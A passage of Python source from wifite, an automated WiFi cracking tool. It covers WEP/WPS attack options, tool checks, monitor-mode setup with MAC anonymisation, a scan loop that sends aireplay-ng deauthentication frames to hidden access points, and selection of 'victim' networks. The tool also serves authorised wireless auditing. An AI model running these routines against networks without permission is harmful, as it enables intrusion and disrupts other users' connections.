  612.         wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  613.         wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true', dest='caffeelatte')
  614.         wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true', dest='caffeelatte')
  615.         wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  616.         wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  617.         wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  618.         wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  619.         wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False, action='store_true', dest='fakeauth')
  620.         wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true', dest='fakeauth')
  621.         wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store', dest='wepca')
  622.         wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  623.         wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,action='store', dest='wepsave')
  624.         wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None,action='store', dest='wepsave')
  625.         # set WPS commands
  626.         wps_group = option_parser.add_argument_group('WPS')
  627.         wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true', dest='wps')
  628.         wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  629.         wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', dest='wpst')
  630.         wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  631.         wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store', dest='wpsratio')
  632.         wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  633.         wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.', action='store', dest='wpsretry')
  634.         wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  635.  
  636.         return option_parser
  637.  
  638.     def upgrade(self):
  639.         """
  640.            Checks for new version, prompts to upgrade, then
  641.            replaces this script with the latest from the repo
  642.        """
  643.         try:
  644.             print GR+' [!]'+W+' upgrading requires an '+G+'internet connection'+W
  645.             print GR+' [+]'+W+' checking for latest version...'
  646.             revision = get_revision()
  647.             if revision == -1:
  648.                 print R+' [!]'+O+' unable to access GitHub'+W
  649.             elif revision > self.REVISION:
  650.                 print GR+' [!]'+W+' a new version is '+G+'available!'+W
  651.                 print GR+' [-]'+W+'   revision:    '+G+str(revision)+W
  652.                 response = raw_input(GR+' [+]'+W+' do you want to upgrade to the latest version? (y/n): ')
  653.                 if not response.lower().startswith('y'):
  654.                     print GR+' [-]'+W+' upgrading '+O+'aborted'+W
  655.                     self.exit_gracefully(0)
  656.                     return
  657.                 # Download script, replace with this one
  658.                 print GR+' [+] '+G+'downloading'+W+' update...'
  659.                 try:
  660.                     sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  661.                     page = sock.read()
  662.                 except IOError:
  663.                     page = ''
  664.                 if page == '':
  665.                     print R+' [+] '+O+'unable to download latest version'+W
  666.                     self.exit_gracefully(1)
  667.  
  668.                 # Create/save the new script
  669.                 f=open('wifite_new.py','w')
  670.                 f.write(page)
  671.                 f.close()
  672.  
  673.                 # The filename of the running script
  674.                 this_file = __file__
  675.                 if this_file.startswith('./'):
  676.                     this_file = this_file[2:]
  677.  
  678.                 # create/save a shell script that replaces this script with the new one
  679.                 f = open('update_wifite.sh','w')
  680.                 f.write('''#!/bin/sh\n
  681.                           rm -rf ''' + this_file + '''\n
  682.                           mv wifite_new.py ''' + this_file + '''\n
  683.                           rm -rf update_wifite.sh\n
  684.                           chmod +x ''' + this_file + '''\n
  685.                          ''')
  686.                 f.close()
  687.  
  688.                 # Change permissions on the script
  689.                 returncode = call(['chmod','+x','update_wifite.sh'])
  690.                 if returncode != 0:
  691.                     print R+' [!]'+O+' permission change returned unexpected code: '+str(returncode)+W
  692.                     self.exit_gracefully(1)
  693.                 # Run the script
  694.                 returncode = call(['sh','update_wifite.sh'])
  695.                 if returncode != 0:
  696.                     print R+' [!]'+O+' upgrade script returned unexpected code: '+str(returncode)+W
  697.                     self.exit_gracefully(1)
  698.  
  699.                 print GR+' [+] '+G+'updated!'+W+' type "./' + this_file + '" to run again'
  700.  
  701.             else:
  702.                 print GR+' [-]'+W+' your copy of wifite is '+G+'up to date'+W
  703.  
  704.         except KeyboardInterrupt:
  705.             print R+'\n (^C)'+O+' wifite upgrade interrupted'+W
  706.         self.exit_gracefully(0)
  707.  
  708.  
  709. class RunEngine:
  710.     def __init__(self, run_config):
  711.         self.RUN_CONFIG = run_config
  712.         self.RUN_CONFIG.RUN_ENGINE = self
  713.  
  714.     def initial_check(self):
  715.         """
  716.            Ensures required programs are installed.
  717.        """
  718.         airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  719.         for air in airs:
  720.             if program_exists(air): continue
  721.             print R+' [!]'+O+' required program not found: %s' % (R+air+W)
  722.             print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W
  723.             print R+' [!]'+O+'        '+C+'http://www.aircrack-ng.org/'+W
  724.             print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W
  725.             self.RUN_CONFIG.exit_gracefully(1)
  726.  
  727.         if not program_exists('iw'):
  728.             print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)
  729.             self.RUN_CONFIG.exit_gracefully(1)
  730.  
  731.         printed = False
  732.         # Check reaver
  733.         if not program_exists('reaver'):
  734.             printed = True
  735.             print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W
  736.             print R+'    '+O+'   available at '+C+'http://code.google.com/p/reaver-wps'+W
  737.             self.RUN_CONFIG.WPS_DISABLE = True
  738.         elif not program_exists('walsh') and not program_exists('wash'):
  739.             printed = True
  740.             print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W
  741.             print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W
  742.  
  743.         # Check handshake-checking apps
  744.         recs = ['tshark', 'pyrit', 'cowpatty']
  745.         for rec in recs:
  746.             if program_exists(rec): continue
  747.             printed = True
  748.             print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)
  749.         if printed: print ''
  750.  
  751.     def enable_monitor_mode(self, iface):
  752.         """
  753.            First attempts to anonymize the MAC if requested; MACs cannot
  754.             be anonymized if they're already in monitor mode.
  755.            Uses airmon-ng to put a device into Monitor Mode.
  756.            Then uses the get_iface() method to retrieve the new interface's name.
  757.            Sets global variable IFACE_TO_TAKE_DOWN as well.
  758.            Returns the name of the interface in monitor mode.
  759.        """
  760.         mac_anonymize(iface)
  761.         print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W),
  762.         stdout.flush()
  763.         call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  764.         print 'done'
  765.         self.RUN_CONFIG.WIRELESS_IFACE = ''  # remove this reference as we've started its monitoring counterpart
  766.         self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  767.         if self.RUN_CONFIG.TX_POWER > 0:
  768.             print GR+' [+]'+W+' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  769.             call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  770.             call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  771.             print 'done'
  772.         return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  773.  
  774.     def disable_monitor_mode(self):
  775.         """
  776.            The program may have enabled monitor mode on a wireless interface.
  777.            We want to disable this before we exit, so we will do that.
  778.        """
  779.         if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  780.         print GR+' [+]'+W+' disabling monitor mode on %s...' % (G+self.RUN_CONFIG.IFACE_TO_TAKE_DOWN+W),
  781.         stdout.flush()
  782.         call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  783.         print 'done'
  784.  
  785.     def rtl8187_fix(self, iface):
  786.         """
  787.            Attempts to solve "Unknown error 132" common with RTL8187 devices.
  788.            Puts down interface, unloads/reloads driver module, then puts iface back up.
  789.            Returns True if fix was attempted, False otherwise.
  790.        """
  791.         # Check if current interface is using the RTL8187 chipset
  792.         proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  793.         proc_airmon.wait()
  794.         using_rtl8187 = False
  795.         for line in proc_airmon.communicate()[0].split():
  796.             line = line.upper()
  797.             if line.strip() == '' or line.startswith('INTERFACE'): continue
  798.             if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  799.  
  800.         if not using_rtl8187:
  801.             # Display error message and exit
  802.             print R+' [!]'+O+' unable to generate airodump-ng CSV file'+W
  803.             print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
  804.             self.RUN_CONFIG.exit_gracefully(1)
  805.  
  806.         print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..."
  807.  
  808.         original_iface = iface
  809.         # Take device out of monitor mode
  810.         airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  811.         airmon.wait()
  812.         for line in airmon.communicate()[0].split('\n'):
  813.             if line.strip() == '' or \
  814.                line.startswith("Interface") or \
  815.                line.find('(removed)') != -1:
  816.                 continue
  817.             original_iface = line.split()[0] # line[:line.find('\t')]
  818.  
  819.         # Remove drive modules, block/unblock ifaces, probe new modules.
  820.         print_and_exec(['ifconfig', original_iface, 'down'])
  821.         print_and_exec(['rmmod', 'rtl8187'])
  822.         print_and_exec(['rfkill', 'block', 'all'])
  823.         print_and_exec(['rfkill', 'unblock', 'all'])
  824.         print_and_exec(['modprobe', 'rtl8187'])
  825.         print_and_exec(['ifconfig', original_iface, 'up'])
  826.         print_and_exec(['airmon-ng', 'start', original_iface])
  827.  
  828.         print '\r                                                        \r',
  829.         print O+' [!] '+W+'restarting scan...\n'
  830.  
  831.         return True
  832.  
  833.     def get_iface(self):
  834.         """
  835.            Get the wireless interface in monitor mode.
  836.            Defaults to only device in monitor mode if found.
  837.            Otherwise, enumerates list of possible wifi devices
  838.            and asks user to select one to put into monitor mode (if multiple).
  839.            Uses airmon-ng to put device in monitor mode if needed.
  840.            Returns the name (string) of the interface chosen in monitor mode.
  841.        """
  842.         if not self.RUN_CONFIG.PRINTED_SCANNING:
  843.             print GR+' [+]'+W+' scanning for wireless devices...'
  844.             self.RUN_CONFIG.PRINTED_SCANNING = True
  845.  
  846.         proc  = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  847.         iface = ''
  848.         monitors = []
  849.         adapters = []
  850.         for line in proc.communicate()[0].split('\n'):
  851.             if len(line) == 0: continue
  852.             if ord(line[0]) != 32: # Doesn't start with space
  853.                 iface = line[:line.find(' ')] # is the interface
  854.             if line.find('Mode:Monitor') != -1:
  855.                 monitors.append(iface)
  856.             else: adapters.append(iface)
  857.  
  858.         if self.RUN_CONFIG.WIRELESS_IFACE != '':
  859.             if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE): return self.RUN_CONFIG.WIRELESS_IFACE
  860.             else:
  861.                 if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  862.                     # valid adapter, enable monitor mode
  863.                     print R+' [!]'+O+' could not find wireless interface %s in monitor mode' % (R+'"'+R+self.RUN_CONFIG.WIRELESS_IFACE+'"'+O)
  864.                     return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  865.                 else:
  866.                     # couldnt find the requested adapter
  867.                     print R+' [!]'+O+' could not find wireless interface %s' % ('"'+R+self.RUN_CONFIG.WIRELESS_IFACE+O+'"'+W)
  868.                     self.RUN_CONFIG.exit_gracefully(0)
  869.  
  870.         if len(monitors) == 1:
  871.             return monitors[0] # Default to only device in monitor mode
  872.         elif len(monitors) > 1:
  873.             print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+W
  874.             for i, monitor in enumerate(monitors):
  875.                 print "  %s. %s" % (G+str(i+1)+W, G+monitor+W)
  876.             ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  877.                       (GR,     W,       G,       W,                              G, len(monitors), W, G))
  878.             while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  879.                 ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  880.                          (GR,   W,                                              G, len(monitors), W, G))
  881.             i = int(ri)
  882.             return monitors[i - 1]
  883.  
  884.         proc  = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  885.         for line in proc.communicate()[0].split('\n'):
  886.             if len(line) == 0 or line.startswith('Interface'): continue
  887.             monitors.append(line)
  888.        
  889.         if len(monitors) == 0:
  890.             print R+' [!]'+O+" no wireless interfaces were found."+W
  891.             print R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+W
  892.             self.RUN_CONFIG.exit_gracefully(0)
  893.         elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  894.             return self.enable_monitor_mode(monitor)
  895.  
  896.         elif len(monitors) == 1:
  897.             monitor = monitors[0][:monitors[0].find('\t')]
  898.             return self.enable_monitor_mode(monitor)
  899.  
  900.         print GR+" [+]"+W+" available wireless devices:"
  901.         for i, monitor in enumerate(monitors):
  902.             print "  %s%d%s. %s" % (G, i + 1, W, monitor)
  903.  
  904.         ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  905.         while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  906.             ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  907.         i = int(ri)
  908.         monitor = monitors[i-1][:monitors[i-1].find('\t')]
  909.  
  910.         return self.enable_monitor_mode(monitor)
  911.  
  912.     def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  913.         """
  914.            Scans for access points. Asks user to select target(s).
  915.                "channel" - the channel to scan on, 0 scans all channels.
  916.                "iface"   - the interface to scan on. must be a real interface.
  917.                "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  918.            Returns list of selected targets and list of clients.
  919.        """
  920.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  921.  
  922.         command = ['airodump-ng',
  923.                    '-a', # only show associated clients
  924.                    '-w', self.RUN_CONFIG.temp + 'wifite'] # output file
  925.         if channel != 0:
  926.             command.append('-c')
  927.             command.append(str(channel))
  928.         command.append(iface)
  929.  
  930.         proc = Popen(command, stdout=DN, stderr=DN)
  931.  
  932.         time_started = time.time()
  933.         print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'
  934.         (targets, clients) = ([], [])
  935.         try:
  936.             deauth_sent = 0.0
  937.             old_targets = []
  938.             stop_scanning = False
  939.             while True:
  940.                 time.sleep(0.3)
  941.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  942.                     print R+'\n [!] ERROR!'+W
  943.                     # RTL8187 Unknown Error 132 FIX
  944.                     if proc.poll() != None: # Check if process has finished
  945.                         proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  946.                         if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  947.                             send_interrupt(proc)
  948.                             if self.rtl8187_fix(iface):
  949.                                 return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  950.                     print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W
  951.                     print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
  952.                     self.RUN_CONFIG.exit_gracefully(1)
  953.  
  954.                 (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  955.  
  956.                 # Remove any already cracked networks if configured to do so
  957.                 if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  958.                     index = 0
  959.                     while index < len(targets):
  960.                         already = False
  961.                         for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  962.                             if targets[index].ssid.lower() == cracked.ssid.lower():
  963.                                 already = True
  964.                             if targets[index].bssid.lower() == cracked.bssid.lower():
  965.                                 already = True
  966.                         if already == True:
  967.                             targets.pop(index)
  968.                             index -= 1
  969.                         index += 1
  970.  
  971.                 # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  972.                 if self.RUN_CONFIG.TARGET_ESSID != '':
  973.                     for t in targets:
  974.                         if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  975.                             send_interrupt(proc)
  976.                             try: os.kill(proc.pid, SIGTERM)
  977.                             except OSError: pass
  978.                             except UnboundLocalError: pass
  979.                             targets = [t]
  980.                             stop_scanning = True
  981.                             break
  982.                 if self.RUN_CONFIG.TARGET_BSSID != '':
  983.                     for t in targets:
  984.                         if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  985.                             send_interrupt(proc)
  986.                             try: os.kill(proc.pid, SIGTERM)
  987.                             except OSError: pass
  988.                             except UnboundLocalError: pass
  989.                             targets = [t]
  990.                             stop_scanning = True
  991.                             break
  992.  
  993.                 # If user has chosen to target all access points, wait 20 seconds, then return all
  994.                 if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  995.                     print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')
  996.                     stop_scanning = True
  997.  
  998.                 if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  999.                     # Remove targets with power < threshold
  1000.                     i = 0
  1001.                     before_count = len(targets)
  1002.                     while i < len(targets):
  1003.                         if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1004.                             targets.pop(i)
  1005.                         else: i += 1
  1006.                     print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \
  1007.                                     (G+str(before_count - len(targets))+W, self.RUN_CONFIG.ATTACK_MIN_POWER, G+str(len(targets))+W)
  1008.                     stop_scanning = True
  1009.  
  1010.                 if stop_scanning: break
  1011.  
  1012.                 # If there are unknown SSIDs, send deauths to them.
  1013.                 if channel != 0 and time.time() - deauth_sent > 5:
  1014.                     deauth_sent = time.time()
  1015.                     for t in targets:
  1016.                         if t.ssid == '':
  1017.                             print "\r %s deauthing hidden access point (%s)               \r" % \
  1018.                                   (GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),
  1019.                             stdout.flush()
  1020.                             # Time to deauth
  1021.                             cmd = ['aireplay-ng',
  1022.                                    '--ignore-negative-one',
  1023.                                    '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1024.                                    '-a', t.bssid]
  1025.                             for c in clients:
  1026.                                 if c.station == t.bssid:
  1027.                                     cmd.append('-c')
  1028.                                     cmd.append(c.bssid)
  1029.                                     break
  1030.                             cmd.append(iface)
  1031.                             proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1032.                             proc_aireplay.wait()
  1033.                             time.sleep(0.5)
  1034.                         else:
  1035.                             for ot in old_targets:
  1036.                                 if ot.ssid == '' and ot.bssid == t.bssid:
  1037.                                     print '\r %s successfully decloaked "%s"                     ' % \
  1038.                                             (GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)
  1039.  
  1040.                     old_targets = targets[:]
  1041.                 if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1042.                     targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1043.                     if not self.RUN_CONFIG.WPS_DISABLE:
  1044.                         wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1045.  
  1046.                     os.system('clear')
  1047.                     print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'
  1048.                     print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ('BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1049.                     print '   --- --------------------  %s--  ----  -----  ----  ------' % ('-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1050.                     for i, target in enumerate(targets):
  1051.                         print "   %s%2d%s " % (G, i + 1, W),
  1052.                         # SSID
  1053.                         if target.ssid == '':
  1054.                             p = O+'('+target.bssid+')'+GR+' '+W
  1055.                             print '%s' % p.ljust(20),
  1056.                         elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1057.                             p = '<Length '+str(len(target.ssid))+'>'
  1058.                             print '%s' % C+p.ljust(20)+W,
  1059.                         elif len(target.ssid) <= 20:
  1060.                             print "%s" % C+target.ssid.ljust(20)+W,
  1061.                         else:
  1062.                             print "%s" % C+target.ssid[0:17] + '...'+W,
  1063.                         # BSSID
  1064.                         if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1065.                             print O,target.bssid+W,
  1066.                         # Channel
  1067.                         print G+target.channel.rjust(3),W,
  1068.                         # Encryption
  1069.                         if target.encryption.find("WEP") != -1: print G,
  1070.                         else:                                   print O,
  1071.                         print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1072.                         # Power
  1073.                         if target.power >= 55:   col = G
  1074.                         elif target.power >= 40: col = O
  1075.                         else:                    col = R
  1076.                         print "%s%3ddb%s" % (col,target.power, W),
  1077.                         # WPS
  1078.                         if self.RUN_CONFIG.WPS_DISABLE:
  1079.                             print "  %3s" % (O+'n/a'+W),
  1080.                         else:
  1081.                             print "  %3s" % (G+'wps'+W if target.wps else R+' no'+W),
  1082.                         # Clients
  1083.                         client_text = ''
  1084.                         for c in clients:
  1085.                             if c.station == target.bssid:
  1086.                                 if client_text == '': client_text = 'client'
  1087.                                 elif client_text[-1] != "s": client_text += "s"
  1088.                         if client_text != '': print '  %s' % (G+client_text+W)
  1089.                         else: print ''
  1090.                     print ''
  1091.                 print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % (
  1092.                       GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W,
  1093.                       G+str(len(targets))+W, '' if len(targets) == 1 else 's',
  1094.                       G+str(len(clients))+W, '' if len(clients) == 1 else 's'),
  1095.  
  1096.                 stdout.flush()
  1097.         except KeyboardInterrupt:
  1098.             pass
  1099.         print ''
  1100.  
  1101.         send_interrupt(proc)
  1102.         try: os.kill(proc.pid, SIGTERM)
  1103.         except OSError: pass
  1104.         except UnboundLocalError: pass
  1105.  
  1106.         # Use "wash" program to check for WPS compatibility
  1107.         if not self.RUN_CONFIG.WPS_DISABLE:
  1108.             wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1109.  
  1110.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1111.  
  1112.         if stop_scanning: return (targets, clients)
  1113.         print ''
  1114.  
  1115.         if len(targets) == 0:
  1116.             print R+' [!]'+O+' no targets found!'+W
  1117.             print R+' [!]'+O+' you may need to wait for targets to show up.'+W
  1118.             print ''
  1119.             self.RUN_CONFIG.exit_gracefully(1)
  1120.  
  1121.         if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1122.  
  1123.         # Sort by Power
  1124.         targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1125.  
  1126.         victims = []
  1127.         print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ('BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1128.         print '   --- --------------------  %s--  ----  -----  ----  ------' % ('-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1129.         for i, target in enumerate(targets):
  1130.             print "   %s%2d%s " % (G, i + 1, W),
  1131.             # SSID
  1132.             if target.ssid == '':
  1133.                 p = O+'('+target.bssid+')'+GR+' '+W
  1134.                 print '%s' % p.ljust(20),
  1135.             elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1136.                 p = '<Length '+str(len(target.ssid))+'>'
  1137.                 print '%s' % C+p.ljust(20)+W,
  1138.             elif len(target.ssid) <= 20:
  1139.                 print "%s" % C+target.ssid.ljust(20)+W,
  1140.             else:
  1141.                 print "%s" % C+target.ssid[0:17] + '...'+W,
  1142.             # BSSID
  1143.             if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1144.                 print O,target.bssid+W,
  1145.             # Channel
  1146.             print G+target.channel.rjust(3),W,
  1147.             # Encryption
  1148.             if target.encryption.find("WEP") != -1: print G,
  1149.             else:                                   print O,
  1150.             print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1151.             # Power
  1152.             if target.power >= 55:   col = G
  1153.             elif target.power >= 40: col = O
  1154.             else:                    col = R
  1155.             print "%s%3ddb%s" % (col,target.power, W),
  1156.             # WPS
  1157.             if self.RUN_CONFIG.WPS_DISABLE:
  1158.                 print "  %3s" % (O+'n/a'+W),
  1159.             else:
  1160.                 print "  %3s" % (G+'wps'+W if target.wps else R+' no'+W),
  1161.             # Clients
  1162.             client_text = ''
  1163.             for c in clients:
  1164.                 if c.station == target.bssid:
  1165.                     if client_text == '': client_text = 'client'
  1166.                     elif client_text[-1] != "s": client_text += "s"
  1167.             if client_text != '': print '  %s' % (G+client_text+W)
  1168.             else: print ''
  1169.  
  1170.         ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \
  1171.                              " separated by commas, or '%s': " % (G+'all'+W))
  1172.         if ri.strip().lower() == 'all':
  1173.             victims = targets[:]
  1174.         else:
  1175.             for r in ri.split(','):
  1176.                 r = r.strip()
  1177.                 if r.find('-') != -1:
  1178.                     (sx, sy) = r.split('-')
  1179.                     if sx.isdigit() and sy.isdigit():
  1180.                         x = int(sx)
  1181.                         y = int(sy) + 1
  1182.                         for v in xrange(x, y):
  1183.                             victims.append(targets[v - 1])
  1184.                 elif not r.isdigit() and r.strip() != '':
  1185.                     print O+" [!]"+R+" not a number: %s " % (O+r+W)
  1186.                 elif r != '':
  1187.                     victims.append(targets[int(r) - 1])
  1188.  
  1189.         if len(victims) == 0:
  1190.             print O+'\n [!] '+R+'no targets selected.\n'+W
  1191.             self.RUN_CONFIG.exit_gracefully(0)
  1192.  
  1193.         print ''
  1194.         print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1195.  
  1196.         return (victims, clients)
  1197.  
  1198.     def Start(self):
  1199.         self.RUN_CONFIG.CreateTempFolder()
  1200.         self.RUN_CONFIG.handle_args()
  1201.         self.RUN_CONFIG.ConfirmRunningAsRoot()
  1202.         self.RUN_CONFIG.ConfirmCorrectPlatform()
  1203.  
  1204.         self.initial_check() # Ensure required programs are installed.
  1205.  
  1206.         # The "get_iface" method anonymizes the MAC address (if needed)
  1207.         # and puts the interface into monitor mode.
  1208.         iface = self.get_iface()
  1209.         self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
  1210.  
  1211.         (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1212.  
  1213.         try:
  1214.             index = 0
  1215.             while index < len(targets):
  1216.                 target = targets[index]
  1217.                 # Check if we have already cracked this target
  1218.                 for already in RUN_CONFIG.CRACKED_TARGETS:
  1219.                     if already.bssid == targets[index].bssid:
  1220.                         if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1221.                             print R+'\n [!]'+O+' you have already cracked this access point\'s key!'+W
  1222.                             print R+' [!] %s' % (C+already.ssid+W+': "'+G+already.key+W+'"')
  1223.                             ri = raw_input(GR+' [+] '+W+'do you want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')
  1224.                             if ri.lower() == 'n':
  1225.                                 targets.pop(index)
  1226.                                 index -= 1
  1227.                         else:
  1228.                             targets.pop(index)
  1229.                             index -= 1
  1230.                         break
  1231.  
  1232.                 # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1233.                 handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1234.                                  + '_' + target.bssid.replace(':', '-') + '.cap'
  1235.                 if os.path.exists(handshake_file):
  1236.                     print R+'\n [!] '+O+'you already have a handshake file for %s:' % (C+target.ssid+W)
  1237.                     print '        %s\n' % (G+handshake_file+W)
  1238.                     print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?'
  1239.                     ri = 'x'
  1240.                     while ri != 's' and ri != 'c' and ri != 'o':
  1241.                         ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower()
  1242.                     print W+"\b",
  1243.                     if ri == 's':
  1244.                         targets.pop(index)
  1245.                         index -= 1
  1246.                     elif ri == 'o':
  1247.                         remove_file(handshake_file)
  1248.                         continue
  1249.                 index += 1
  1250.  
  1251.  
  1252.         except KeyboardInterrupt:
  1253.             print '\n '+R+'(^C)'+O+' interrupted\n'
  1254.             self.RUN_CONFIG.exit_gracefully(0)
  1255.  
  1256.         wpa_success = 0
  1257.         wep_success = 0
